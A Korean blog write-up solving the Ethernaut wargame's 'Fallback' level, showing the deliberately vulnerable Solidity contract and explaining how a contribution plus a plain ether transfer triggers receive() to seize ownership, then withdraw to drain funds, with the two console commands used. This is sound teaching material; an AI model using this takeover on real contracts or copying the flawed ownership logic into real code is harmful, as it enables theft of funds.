본문 바로가기
Write Up/Ethernaut - 블록체인 워게임

Ethernaut - 1단계 (Fallback)

by p6rkdoye0n 2023. 11. 5.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

 

다음은 해당 Ethernaut 1단계 문제 코드이다.

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units (see help() command)
  • Fallback methods

다음은 해당 목표이다.

 

1. 계약의 소유권 탈취
2. 잔액을 0으로 만들기

 

우선 계약의 소유권 탈취를 하기 위해서는 총 두개의 공격벡터가 존재하였다.

 

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

 

우선 첫번째 벡터를 살펴보면 contribute 함수를 통해 트렌잭션을 사도하게 되면 0.001 ether 이하로 value 값이여야 하고 owner보다 contribution 배열 안에 있는 ether 값이 클 경우에만 소유권을 탈취할 수 있다. contribution[owner] 안에는 1000 ether 값이 존재하므로 해당 함수를 백만번 호출해야하기 때문에 힘들거 같다.

 

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

그 다음에는 msg.value의 값이 0만 넘기고, contributions[msg,sender] 안에 있는 이더가 0보다 크면 되기 때문에 contribute 함수에 0.00001 ether를 하나 보내주고 그다음 단순 트랜잭션으로 0.00001 ether를 하나 보내게 된다면 두개의 조건을 충족하므로 owner 소유권을 탈취할 수 있게 된다.

 

await contract.contribute.sendTransaction({value:toWei("0.00001")})

 

 

contribution[msg.sender]의 이더 값을 0 이상으로 만들어주고

 

await contract.sendTransaction({value:toWei("0.00001")})

 

 

해당 컨트랙트에 이더를 보내서 owner의 소유권를 탈취하는 모습을 보여준다.

 

1. 계약의 소유권 탈취
2. 잔액을 0으로 만들기

 

첫번째 미션을 완료 했으므로 마지막에 있는 withdraw 함수를 호출하여 모든 잔액을 출금시켜주면 문제는 클리어 된다.

 

 function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

 

 

 

1. 계약의 소유권 탈취
2. 잔액을 0으로 만들기

 

 

🚩